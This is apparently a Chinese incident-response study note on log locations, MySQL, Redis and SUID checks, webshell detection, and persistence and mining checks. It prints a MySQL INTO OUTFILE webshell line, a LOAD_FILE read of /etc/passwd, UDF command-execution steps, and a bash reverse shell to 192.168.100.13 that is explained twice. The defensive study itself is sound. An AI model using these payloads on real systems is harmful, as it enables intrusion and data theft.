应急响应总结
应急响应
日志
windows
-
IIS 6.0 及更早版本:
C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\
-
IIS 7.0 及更高版本:
C:\inetpub\logs\LogFiles\W3SVC[SiteID]\
-
Apache HTTP Server
C:\Program Files (x86)\Apache Group\Apache2\logs\
或者
C:\Program Files\Apache Group\Apache2\logs\
linux
/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)
/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)
/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)
/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)
密钥登录位置~/.ssh/authorized_keys
登录成功
Accepted
登录错误特殊标记
Failed password for
/var/log/kern.log:记录内核生成的日志信息。
/var/log/dmesg:记录系统启动时内核产生的消息。
/var/log/boot.log:记录系统启动过程中的消息。
/var/log/secure:记录安全相关的消息。
/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。
/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。
mysql
/var/log/mysql/
- 检查日志文件:
查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。
查询日志:记录所有的查询,包括成功和失败的查询。
错误日志:记录MySQL服务器的错误、警告和通知。
- 检查审计日志:
如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。
- 检查连接历史:
检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。
- 检查特定的表和列:
查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。
- 利用
INTO OUTFILE
写入文件
INTO OUTFILE
是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。
示例:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。
- 利用 LOAD_FILE 读取文件
LOAD_FILE
是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。
示例:
SELECT LOAD_FILE('/etc/passwd');
这个命令会返回 /etc/passwd
文件的内容,其中包含所有用户的信息。
- 利用 UDF 执行系统命令
UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。
示例步骤:
上传恶意共享库 lib_mysqludf_sys.so
到 MySQL
服务器的插件目录。
创建 UDF 函数:
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
使用 UDF 执行系统命令:
SELECT sys_exec('id > /tmp/output.txt');
这个命令将在 /tmp
目录下创建一个文件 output.txt
,其中包含执行 id
命令的结果。
常用方法总结
INTO OUTFILE
写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE
读取文件:常用于读取敏感文件,进行信息收集。
UDF
执行系统命令:常用于执行任意系统命令,获取更高权限。
show global variables like '%secure%';
是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。
变量分析
require_secure_transport
解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。
值:
ON:强制所有连接使用 SSL/TLS。
OFF:不强制使用 SSL/TLS。
安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。
secure_auth
解释:此变量控制是否要求客户端使用更安全的密码认证方式。
值:
ON:强制使用mysql_native_password
或更强的身份验证插件。
OFF:允许使用旧的(不安全的)认证方式。
安全性:建议设置为 ON,以避免使用不安全的旧认证方式。
secure_file_priv
解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。
值:
路径(如/var/lib/mysql-files/
):只允许在指定目录下进行文件操作。
空字符串:禁止所有文件操作。
NULL:没有限制。
安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。
UDF
在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是
/usr/lib/mysql/plugin/
攻击步骤
-
编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。
-
上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。
SELECT '' INTO OUTFILE '/path/to/your/udf.so';
-
创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
-
执行命令:调用这个 UDF 函数执行系统命令。
SELECT do_system('id');
检查和防护
-
检查 UDF 函数:查看是否存在异常的 UDF 函数。
SELECT * FROM mysql.func;
select sys_eval('whoami');
-
限制
secure_file_priv
:将secure_file_priv
设置为一个特定的路径,限制 MySQL 文件操作的范围。secure_file_priv = /var/lib/mysql-files
-
移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。
DROP FUNCTION IF EXISTS do_system;
-
权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。
-
日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。
Redis
/var/log/redis.log
版本号查看命令:
redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1
未授权访问 是最常见且可能性最大的漏洞
CONFIG SET
动态地修改 Redis 的配置参数
SLAVEOF
将当前 Redis 服务器设置为另一个 Redis 服务器的从节点
MODULE LOAD
加载模块
SUID
使用 find
命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null
-
检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如
nmap
、vim
、find
、awk
、perl
等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。 -
利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的
nmap
可以通过--interactive
模式获得一个 shell,进而提权。 -
不应拥有 SUID 位的程序: 如常见编辑器(
vim
)、网络工具(tcpdump
)、脚本语言解释器(perl
)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。 -
检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过
ls -l
命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。
grep
-a
将其视为文本文件
sort
排序
-n
选项表示按数值进行排序。-r
选项表示按降序排序。
uniq
删除重复的行
-c
- 输入文件必须是经过排序的,因为
uniq
命令只检查相邻行之间的重复情况。
perl -e '...'
表示在命令行中直接运行 Perl 代码。
while($_=<>)
:逐行读取输入。
/for(.*?) from/
:使用正则表达式匹配模式“for [username] from”,其中[username]
是登录尝试的用户名。
print "$1\n";
打印出正则表达式中捕获的第一个子匹配(即 $1
),然后跟一个换行符 \n
。
awk '{print $11}'
从每一行中提取第11个字段
cut
每一行中提取指定的部分
-d -
指定字段的分隔符是--d ' '
表示字段分隔符是空格-f 1
:指定要提取第一个字段
wc -l
命令用于统计行数
find
查找文件和目录
-
./
表示从当前目录开始搜索。 -
-type f
表示只查找文件(不包括目录)。 -
-name "*.php"
表示只查找以.php
结尾的文件。 -
2>/dev/null
: 将标准错误输出重定向到/dev/null
,以避免显示权限不足等错误信息。 -
-perm -u=s
: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。
xargs
读取数据,传递给指定的命令。
netstat
-antlp
-a
:显示所有连接和侦听端口。-n
:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。-l
:仅显示正在侦听(listening)的连接。-u
:仅显示使用 UDP 协议的连接。-p
:显示建立相关链接的进程标识符和程序名称。-t
:仅显示使用 TCP 协议的连接。
字段解释
- 1.**Proto:**协议(Protocol)
显示协议类型,常见的有 tcp
和 udp
。
- 2.**Recv-Q:**接收队列(Receive Queue)
显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。
- 3.**Send-Q:**发送队列(Send Queue)
显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。
- 4.**Local Address:**本地地址
显示本地端的 IP 地址和端口号。例如:0.0.0.0:80
表示本地所有 IP 地址上的 80
端口。
- 5.**Foreign Address:**远程地址
显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345
表示远程 IP 为 192.168.1.1
的 12345
端口。
- 6.**State:**状态
显示连接的状态。常见状态有:
LISTEN:
正在监听连接。
ESTABLISHED:
已建立连接。
CLOSE_WAIT:
等待关闭连接。
TIME_WAIT:
等待足够的时间以确保远程主机收到关闭请求。
- 7.**PID/Program name:**进程 ID 和程序名
显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。
webshell
PHP: eval()
, system()
, exec()
, shell_exec()
, passthru()
, assert()
, base64_decode()
ASP: Execute()
, Eval()
, CreateObject()
JSP: Runtime.getRuntime().exec()
- WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
- WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
PHP: fopen()
, fwrite()
, file_get_contents()
, file_put_contents()
ASP: FileSystemObject
- WebShell可能会包含网络操作函数,用于与远程服务器通信:
PHP: fsockopen()
, curl_exec()
, file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
找免杀马思路,看日志
文件权限
文件权限由三部分组成:所有者(user),组(group),和其他人(others)
4
代表读 (r
)2
代表写 (w
)1
代表执行 (x
)
所以7
代表读、写、执行 (rwx
)
挖矿
检查运行的进程: ps aux
检查系统日志: /var/log/syslog
/var/log/auth.log
/var/log/messages
检查计划任务:cat /etc/crontab
不死马
- 启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改
rc.local
或crontab
。
rc.local
是一个在 Unix-like 系统中常见的启动脚本文件
systemctl list-unit-files --type=service
列出系统中所有服务单元文件
ls /etc/init.d/
在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。
/usr/bin
可执行程序
反弹shell解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
bash -i:
- 以交互模式启动一个新的Bash Shell。
-i
参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc
。
>& /dev/tcp/192.168.100.13/777:
-
使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。
-
>&
表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。
0>&1:
- 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
ll解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
bash -i:
- 以交互模式启动一个新的Bash Shell。
-i
参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc
。
>& /dev/tcp/192.168.100.13/777:
-
使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。
-
>&
表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。
0>&1:
- 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
相关文章:

应急响应总结
应急响应 日志 windows IIS 6.0 及更早版本: C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\ IIS 7.0 及更高版本: C:\inetpub\logs\LogFiles\W3SVC[SiteID]\ Apache HTTP Server C:\Program Files (x86)\Apache Group\Apache2\logs\ 或者 C:\Prog…...
一些资源(●ˇ∀ˇ●)
GPT Kimi.ai - 帮你看更大的世界 (moonshot.cn) 文心一言 (baidu.com) 搜索AI伙伴 (baidu.com) 讯飞星火大模型-AI大语言模型-星火大模型-科大讯飞 (xfyun.cn) 秘塔AI搜索 (metaso.cn) GitHub打不开 下载Watt Toolkit...

WGCLOUD的ping设备监测可以导入excel数据吗
可以的 WGCLOUD的v3.5.3版本,已经支持导入excel数据,如下说明 数通设备PING监测使用说明 - WGCLOUD...

vue 画二维码及长按保存
需求 想要做如下图的二维码带文字,且能够长按保存 前期准备 一个canvas安装qrcode(命令:npm i qrcode) 画二维码及文字 初始化画布 <template><div><canvas ref"canvas" width"300" he…...

IDEA中Git常用操作及Git存储原理
Git简介与使用 Intro Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. Git是一款分布式版本控制系统(VSC),是团队合作开发…...

人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解
大家好,我是微学AI,今天给大家介绍一下人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解。回归分析是统计学和机器学习中的一种重要方法,用于研究因变量和自变量之间的关系。在机器学习中,回归算法被广泛应用于…...
智能制造热点词汇科普篇——工业微服务
随着互联网技术的不断发展,近十年来,微服务也逐渐走进人们的视线中来。何为微服务?让我们先来看看百度百科上的定义:微服务(或称微服务架构)是一种云原生架构方法,在单个应用中包含众多松散耦合…...

FastGPT+OneAI接入网络模型
文章目录 FastGPT连接OneAI接入网络模型1.准备工作2.开始部署2.1下载 docker-compose.yml2.2修改docker-compose.yml里的参数 3.打开FastGPT添加模型3.1打开OneAPI3.2接入网络模型3.3重启服务 FastGPT连接OneAI接入网络模型 1.准备工作 本文档参考FastGPT的官方文档 主机ip接…...

Java核心篇之JVM探秘:内存模型与管理初探
系列文章目录 第一章 Java核心篇之JVM探秘:内存模型与管理初探 第二章 Java核心篇之JVM探秘:对象创建与内存分配机制 第三章 Java核心篇之JVM探秘:垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战:Arthas工具使用及…...

未来互联网的新篇章:深度解析Facebook的技术与战略
随着科技的飞速发展和社会的不断变迁,互联网作为全球信息交流的重要平台,正经历着前所未有的变革和演进。作为全球最大的社交媒体平台之一,Facebook不仅是人们沟通、分享和互动的重要场所,更是科技创新和数字化进程的推动者。本文…...

MySQL卸载 - Windows版
MySQL卸载 - Windows版 1. 停止MySQL服务 winR 打开运行,输入 services.msc 点击 “确定” 调出系统服务。 2. 卸载MySQL相关组件 打开控制面板 —> 卸载程序 —> 卸载MySQL相关所有组件 3. 删除MySQL安装目录 4. 删除MySQL数据目录 数据存放目录是在 …...

Java核心篇之JVM探秘:对象创建与内存分配机制
系列文章目录 第一章 Java核心篇之JVM探秘:内存模型与管理初探 第二章 Java核心篇之JVM探秘:对象创建与内存分配机制 第三章 Java核心篇之JVM探秘:垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战:Arthas工具使用及…...

Nuxt框架中内置组件详解及使用指南(五)
title: Nuxt框架中内置组件详解及使用指南(五) date: 2024/7/10 updated: 2024/7/10 author: cmdragon excerpt: 摘要:本文详细介绍了Nuxt框架中和组件的使用方法与配置,包括安装、基本用法、属性详解、示例代码以及高级功能如…...

python开发遇到的坑汇总
文章目录 1.点击导入操作,所有配置全没了 1.点击导入操作,所有配置全没了 在 PyCharm 中,如果你遇到了点击导入(import)操作后,项目似乎进行了重新安装或重新部署的情况,这通常不是由简单的导入…...

【线性表,线性表中的顺序表和链表】
目录 1、线性表的定义和基本操作1.1、线性表的定义1.2、线性表的基本操作 2、顺序表和链表的比较2.1、顺序表2.1.1、顺序表的定义和特点2.1.2、顺序表的实现(1)顺序表的静态分配:(2)顺序表的动态分配 2.1.3、顺序表的基…...

46 mysql 客户端拿不到具体的错误信息
前言 这是最近碰到的一个问题 同样的一个 环境的问题, 在正常的 mysql 环境会返回 具体的错误信息, 然后 在我的另外一个环境里面 只能返回一些 unknown error 之类的 十分抽象的环境 然后 我们这里 来看一下 具体的情况 我们这里从 错误的环境 往前推导 来查看 并解决这个…...

Java语言程序设计——篇三(2)
循环结构 概述1️⃣while循环例题讲解 2️⃣do-while循环例题讲解 🚩while循环与do-while循环区别3️⃣for循环例题讲解 4️⃣循环的嵌套🏮例题讲解 概述 ⭐️Java语言提供了4种循环结构: (1) while循环 (2) do-while循环 (3) for循环 (4)增…...
如何实现一个分布式锁
如何实现一个分布式锁 本篇内容主要介绍如何使用 Java 语言实现一个注解式的分布式锁,主要是通过注解AOP 环绕通知来实现。 1. 锁注解 我们首先写一个锁的注解 /*** 分布式锁注解*/ Retention(RetentionPolicy.RUNTIME) Target({ElementType.METHOD}) Documente…...

Ajax从零到实战
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…...
编程参考 - 在C++移动构造函数声明中使用noexcept
在 C 中,noexcept 是用于表示函数不抛出异常的指定符。它既可用于常规函数,也可用于特殊成员函数,包括构造函数和析构函数。使用 noexcept 可以帮助编译器进行优化,提高代码的安全性和正确性。 In C, noexcept is a specifier use…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...

边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...

用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列,以便知晓哪些列包含有价值的数据,…...

零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程
STM32F1 本教程使用零知标准板(STM32F103RBT6)通过I2C驱动ICM20948九轴传感器,实现姿态解算,并通过串口将数据实时发送至VOFA上位机进行3D可视化。代码基于开源库修改优化,适合嵌入式及物联网开发者。在基础驱动上新增…...
React父子组件通信:Props怎么用?如何从父组件向子组件传递数据?
系列回顾: 在上一篇《React核心概念:State是什么?》中,我们学习了如何使用useState让一个组件拥有自己的内部数据(State),并通过一个计数器案例,实现了组件的自我更新。这很棒&#…...

ubuntu中安装conda的后遗症
缘由: 在编译rk3588的sdk时,遇到编译buildroot失败,提示如下: 提示缺失expect,但是实测相关工具是在的,如下显示: 然后查找借助各个ai工具,重新安装相关的工具,依然无解。 解决&am…...